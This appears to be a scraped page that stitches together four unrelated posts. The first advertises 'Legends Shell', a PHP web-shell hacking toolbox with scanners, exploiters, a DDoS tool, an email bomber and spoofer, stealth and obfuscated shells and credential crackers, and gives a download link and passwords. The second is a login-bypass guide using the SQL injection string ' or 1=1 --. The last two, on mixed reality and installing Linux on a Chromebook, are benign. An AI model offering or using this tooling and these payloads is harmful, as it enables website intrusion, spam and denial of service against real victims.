LEGENDS SHELL :: PORTABLE HACKING TOOLBOX [/.PHP]

Disclaimer:
Hacking is illegal. I take no responsibility what you do with this information. For educational purposes only.

LEGENDS SHELL:
A portable <.php> website hacking tool box packed with some useful tools and shells to help you hack more websites.

>Just upload it like you would any php shell.
>Login
>Import Tools
>Execute

►Featured Tools & Shells:

(¯`·._.·-TOOLS·._.·´¯)

• • Login Page:

Just in case someone comes across this through a public directory.

• • Admin Page Finder:

This tool is used to scan for administration panels.

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• • BING Dork Scanner:

This tool is used to scan dorks on BING search engine for any SQLi vulnerabilities.

• • CMS Sacnner:

This tool scans a target for installed plugins and gives you a exploit-db link for that vulnerable plugin.

• • LFI Scanner:

This tool scans a target for any LFI vulnerabilities then let’s you inject different payloads.

• • myBB Scanner:

This tool let’s you scan a mybb target for 21 known vulnerabilities.

• • Prestashop Exploiter:

Add Testimonial Exploit.
https://cxsecurity.com/issue/WLB-2017040100

• • Revslider Scanner:

This tool let’s you scan multiple WordPress sites at once for the vulnerable revslider plugin, then helps you exploit it.

• • Vuln Scan:

This tool let’s you somewhat scan multiple websites/IP for vulnerabilities, then displays results to go through manually.

• • Vuln Inject:

This tool has several features but the one that stands out the most is the Error based & Union SQLi injector.

• • Host Scan:

This tool let’s you scan any host, then displays the results.

• • Reverse IP:

This tool let’s you scan a server/IP for any other websites that are being hosted on the same server.

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• • Ddoss3r:

This tool uses multiple ddosing methods to kill target.

• • Inbox Mailer -Gmail:

This tool let’s you bomb/spam any Gmail ‘inbox’.

• • Spoof Mailer:

This tool let’s you spoof your outging email address. ex:<support@facebook.com>

• (¯`·._.·-SHELLS·._.·´¯)

• • 404 Shell:

Spoiler (Click to Hide)

This shell has a hidden login feature for better stealth.

• • Mini Shell:

This shell is small in size making it easier to upload when other shells won’t load.

• • Obfuscated Shell:

Some servers will detect the malicious code within your shell preventing a successful upload. Sometimes you can bypass this by obfuscating the souce code.

• • Symlink Shell:

This shell will automatically symlink to any other websites being hosted on the server if /var/named or etc/named.conf is accessible.

• • CGI Shell:

If .php extensions are blocked/disabled, you can try to use a cgi shell.

• • IndoXploit Shell:

This shell has many unique features, but the ones that stands out the most are…

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• Configuration Grabber:


Will check a compromised server for any other sites being hosted then exploit them if /var/named or etc/named.conf is accessible.

• cPanel Crack:

Will attempt to crack any cPanels being hosted on a compromised server.

• SMTP Grabber:

Will attempt to crack any smtp account hosted on a compromised server.• RDP Shell:


Will attempt to create an RPD account on a Windows server.

• • Adminer -MySQL Manager:

Legends Shell:
https://ghostbin.com/paste/r8k3osuk
Ghostbin Password: legends4lyfe

Shell Passwords:
Legends Shell = opensaysme
404 shell = playtime2
IndoXploit Shell = IndoXploit

How to Hack a Website with Basic HTML Coding

If you have basic HTML and JavaScript knowledge, you may be able to access password protected websites. This article will give you an easy method to hack simple, less-secured websites of your choice simply through HTML. Use it responsibly.

Note: This basic method works only for websites with extremely low security barriers. Websites with robust security details will not be susceptible to this kind of simple attack.

Steps

1. 
   1
   Open the site you want to hack. Provide wrong username and wrong password combination in its log in form. (e.g. : Username : me and Password: ' or 1=1 --) An error will occur saying wrong username and wrong password. Now be prepared because your experiment starts from here.
2. 
   2
   Right click anywhere on that error page =>> go to view source.
3. 
   3
   View the source code. There you can see the HTML coding with JavaScript.
   

   • There you find something like this....<_form action="...Login....">
   • Before this login information copy the URL of the site in which you are. (e.g. :"< _form..........action=http://www.targetwebsite.com/login.......>")
4. 
   4
   Delete the JavaScript from the above that validates your information in the server. Do this very carefully.—Your success in hacking the site depends upon how efficiently you delete the java script code that validates your account information.
5. 
   5
   Take a close look for "<_input name="password" type="password">"[without quotes] -> replace "<_type=password>" with "<_type=text>". See there if maximum length of password is less than 11 then increase it to 11 (e.g. : if then write ).
6. 
   6
   Go to file => save as and save it anywhere in your hard disk with ext.html (e.g.: c:\chan.html).
7. 
   7
   Reopen your target web page by double clicking 'chan.html' file that you saved in your hard disk earlier.
   

   • You see that some changes in current page as compared to original One. Don't worry.
8. 
   8
   Provide any username [e.g.: hacker] and password [e.g.:' or 1=1 --] You have successfully cracked the above website and entered into the account of List user saved in the server's database.

WHAT IS MIXED REALITY AND HOW IT DIFFERS FROM AR AND VR?

Virtual and Augmented Reality have been in the spotlight for a while now, but there’s a new kid on the block that’s been getting a lot of attention recently from industry insiders, market analysts and tech enthusiasts alike. Called Mixed Reality, the ‘new’ technology that’s threatening to upend the gaming industry isn’t really new at all, having been defined back in the early nineties by University of Toronto Professor Paul Milgram and Artificial Intelligence (AI) researcher Fumio Kishino as lying anywhere within the extremities of the ‘virtuality continuum’. That being said, it is only now that the technology has matured enough for tech companies to contemplate bringing MR devices to the market, with Microsoft taking an early lead with its HoloLens headset, but more on that later.

VR, AR and MR: Cutting Through The Marketing Jargon

Before we try to get to the exact differences between Virtual, Augmented and Mixed Reality, it is important to understand that the three are actually interconnected, and not nearly as different as some stakeholders with vested interests would have us believe. Many respected researchers and engineers have long been skeptical about the marketing departments of tech companies describing MR and AR as different technologies, and not without reason. In fact, even VR isn’t exactly a completely different beast when looked at in the larger context, but there are still a few key differences between the three that need to be pointed out for a better understanding of these emerging technologies.

While Virtual Reality (VR) is the most well-known of the three, Augmented Reality (AR) became all the rage last year with the launch of Niantic Labs’ Pokémon GO. So how are VR, AR and MR different from one another? While VR deals only with the virtual world, AR is actually an amalgamation of the real and the virtual. As its name suggests, AR is the augmentation, or enhancement of the real world with the addition of digital elements, something that any dedicated Pokémon GO player knows only too well about.

While both VR and AR have been in the public sphere for a while, Mixed Reality (MR) is a relatively-new term that has entered the consumer technology lexicon only recently, and is being pushed heavily by the Redmond, Washington-based software giant, Microsoft.

What is Mixed Reality?

To put it simply, Mixed Reality (also known as Hybrid Reality) is thecombination of real and virtual environments to create new visualizations where real-life objects and people coexist and interact with devices, creatures and landscapes in the digital world. Unlike Virtual Reality, Mixed Reality allows users to seamlessly navigate through both the virtual and the real worlds at the same time. Virtual elements are superimposed onto the real-world environment, making interactions with these objects or creatures seem real. If you think that sounds way too similar to Augmented Reality, you aren’t entirely wrong, but there are a few subtle differences between the two technologies that we’ll delve into later.

MR vs VR

Virtual Reality has long been promoted as the next big thing in consumer tech, but it has so far failed to capture the imagination of mainstream consumers the way smartphones have over the past decade. VR, however, has found many a taker within the tech community, with giant multinationals like Facebook, Sony and HTC already heavily invested in the new technology with devices like the Oculus Rift, PlayStation VR and HTC Vive respectively. Even Google’s Daydream VR platform has seen an uptick in recent times, and we’re expecting more OEMs to support the platform in the days to come.

So what exactly is Virtual Reality and how is it different from its two spiritual cousins – AR and MR? Virtual Reality is a technology that uses computer-generated imagery to create a realistic virtual environment, which can be experienced and interacted with by people in the real world in a way that makes them feel they are actually a part of the virtual setup. Typically, you’ll need specialized equipment to experience virtual reality, and once you get the recommended setup, you’ll be able to look around the software-generated artificial world, move about in it and interact with the virtual elements as if you’re actually a part of the virtual world yourself.

MR vs AR

While the difference between Virtual Reality and Mixed Reality is pretty clear-cut, the difference between Augmented Reality and Mixed Reality is relatively more ambiguous. In fact, to be perfectly honest, they are not even entirely different technologies in the strictest sense of the term.

To explain the difference between Augmented and Mixed Reality, we should take a closer look at how MR was defined by Milgram and Kishino all those years ago. According to them, MR lies “anywhere between the extrema of the Virtuality Continuum”. While that sounds like a lot of unnecessary tech-jargon at first glance, virtuality continuum is really a concept that describes the continuous scale ranging between the completely virtual (as in Virtual Reality) to the completely real (as in real life).

In essence, what it really means is that Mixed Reality encompasses everything from Augmented Reality to Augmented Virtuality, which are at the two extremities of the technology. In theory, both are actually subsets of Mixed Reality, insofar as both these technologies juxtapose the real and the virtual worlds with one another. Where they do differ, however, is where they lie on the aforementioned virtuality continuum scale.

Uses Of Mixed Reality

Like its more well-known counterparts, Mixed Reality is also expected to be pitched as a gaming platform in its early days. However, it would be a mistake to dismiss MR as just a gaming platform, because the technology has already been incorporated into different applications in a wide variety of industries, including, but not limited to, arts, entertainment, manufacturing, healthcare, aviation and education.

Mixed Reality is also being tested by the military establishments of various nations for combat training, so it’s safe to say that there are enough possible use cases for the technology.

Key Upcoming MR Devices and When Can We Expect Them

As mentioned earlier, Microsoft is taking the lead in bringing Mixed Reality to the fore. The company has already demoed a NASA simulation of walking on the surface of Mars with the help of its HoloLens Head Mounted Display (HMD), which is based on its own MR platform, Windows Mixed Reality, that’s part of the Windows 10 Fall Creators Update. In case you’re wondering about the pricing, the HoloLens Development Edition started shipping last year for $3,000 apiece. There’s also a Commercial Suite with enterprise features, such as Bitlocker Security, and that one sells for $5,000.

Asus, Dell, Acer, HP and Lenovo are just some of the big names that are working on bringing their own MR headsets to the market in the months ahead. While not all these companies have announced the pricing of their upcoming headsets, Acer and HP’s offerings are priced at $299 and $329respectively. It’s difficult to say at this stage whether Microsoft is subsidizing the cost for Acer and HP to popularize its MR platform, but at these prices, the two devices are significantly more affordable than the VR headsets from Oculus, Sony and HTC.

However, if even $300 seems a bit on the higher side, a startup called Zapper has you covered. The company, last year, launched what’s believed to be the world’s first cardboard MR headset called ZapBox, which comes with cardboard controllers and a special wide-angle camera lens. The device was originally launched on Kickstarter where it raised over $84,000, and is currently available for pre-order on the company’s own website for just $30.

There’s no word on when you’ll get your ZapBox if you pre-order now, but the developer editions of Acer and HP’s devices are expected to start shipping next month. The final consumer units, however, will apparently only become available for purchase at the end of the year.

Even as Microsoft is taking the lead in promoting Mixed Reality, it is certainly not the only company burning the midnight oil on the technology. A Florida-based startup called Magic Leap is also reportedly working on a head-mounted virtual retinal display that has been kept under the wraps until now, but is rumored to be made official at some stage going forward. While it’s difficult to say anything for certain about Magic Leap’s upcoming product(s) in the absence of any concrete information, the company must be doing something right, given that they’ve raised over $540 million in venture capital from the likes of Google, Qualcomm and Kleiner Perkins Caufield & Byers.

Mixed Reality: The Best Of Virtual and Augmented Reality

As its name indicates, Mixed Reality promises to bring the best of Virtual and Augmented Reality by combining motion-sensors, advanced optics and cutting-edge software. If it can deliver even a fraction of what it’s promising, it will open up a whole new world of possibilities by bringing apps, games and interactions that we’re yet to experience until now. It may be late to the party, but with prices expected to be at relatively more affordable levels than VR devices, Mixed Reality may very well cross over to the mainstream one day, but for that, we’ll have to wait some more to see if the technology can actually provide something that can transcend the gaming niche and appeal to a broader audience.

So, that was all when it comes to Mixed Reality but if you have any questions or thoughts, do let us know in the comments section below. We love hearing from you.

HOW TO INSTALL LINUX ON CHROMEBOOK (GUIDE)

Chromebooks are meant to be easy to use, and that is exactly where Chrome OS shines. However, Chrome OS isn’t as functional as compared to other operating systems like Linux. So, if you are someone who loves to tinker, you might have wondered if you could install another operating system, such as Ubuntu, on your Chromebook. So, here is how to install Linux on a Chromebook:

Install Ubuntu on Chromebook with Crouton

In order to install Ubuntu on a Chromebook, you will first have to download Crouton. Crouton – an acronym for “Chromium OS Universal Chroot Environment” – is a bundle of scripts that allow the easy installation of Linux systems such as Ubuntu, and Debian. We will use Crouton to install Ubuntu on our Chromebook. Just follow the steps below:

1. First, you will have to enable Developer Mode in Chrome OS.  (press hold the Esc and Refresh button simultaneously and then, press the Power button. Your Chromebook should then boot with a message saying “Chrome OS is missing or damaged”. Don’t be scared, as this is a general message one gets while playing around with Chrome OS settings. To move further, press Ctrl+D.In the next page, press Enter to “turn OS verification off”.Then, your Chromebook will restart and you will see a screen reminding you that you have turned OS verification off. You can press Ctrl+D to start the process or wait for the OS to start things itself after a beep. Enable debugging mode. Ctrl+Alt+T and enter a command like “Shell”. )

2. Once you have enabled Developer Mode on your Chromebook, download Crouton onto your Chromebook. It will be saved in the “Downloads” directory.

3. On your Chromebook, press “Ctrl + Alt + T” to launch the Crosh Terminal. Here, type “shell“, and hit Enter.

4. You will now get access to a command line, and with the help of this command line, we’ll install Ubuntu on our Chromebook. In the Terminal, type “sudo sh ~/Downloads/crouton -e -t lxde“.

5. Once that is done, you will have to wait, while Crouton downloads Ubuntu for you, and installs it on your Chromebook. This step usually takes quite some time, so be patient.

6. When the installation is finished, simply type “sudo startlxde” to start the Linux desktop. You will be asked for the encryption passphrase you created while installing Ubuntu, just key it in, and you’re ready to go.

Switch Back to Chrome OS from Linux

If you want to get back to Chrome OS from Ubuntu, you can simply log out of Ubuntu in the normal way, and you’ll immediately be taken back to Chrome OS.

You can restart Linux, by opening a terminal (Ctrl + Alt + T), and typing “sudo startlxde“.

You should be able to switch between Linux, and Chrome OS, on the fly, by using Ctrl + Alt + Shift + Forward, and Ctrl + Alt + Shift + Back (on ARM Chromebooks), and Ctrl + Alt + Forward, and Ctrl + Alt + Back, followed by Ctrl + Alt + Refresh (on Intel Chromebooks), but unfortunately, that didn’t work for me on LXDE on my Asus Chromebook Flip.

Linux on a Chromebook: The Experience

Ubuntu works very well on a Chromebook. However, since the XFCE, and Unity Desktop Environments aren’t working, as yet, you’re stuck with using LXDE – a Desktop Environment not many people like. The only problem I noticed with LXDE, is the fact that if you own a touch enabled Chromebook, like the Asus Chromebook Flip, the touch doesn’t work very predictably in LXDE, and the UI is a tad too small. However, at least the latter can be fixed by adjusting the screen resolution for Linux.

Install Linux on Chromebook to Unlock Its Potential

You can use this method to easily install Linux/Ubuntu on a Chromebook, and unlock its true power. When you’re running Linux on a Chromebook, you can install Linux apps in the same way as you would install them on a normal Linux computer, by using apt-get. However, if you’re using an ARM Chromebook, some apps might not work properly for you. Chances of apps working are much better on an Chromebook with an Intel processor.

As always, we’d like to know your thoughts on installing Linux on Chromebook, and your experience with using Linux on a Chromebook. Also, if you know of another (preferably easier) method to install Linux on Chromebooks, do let us know in the comments section below.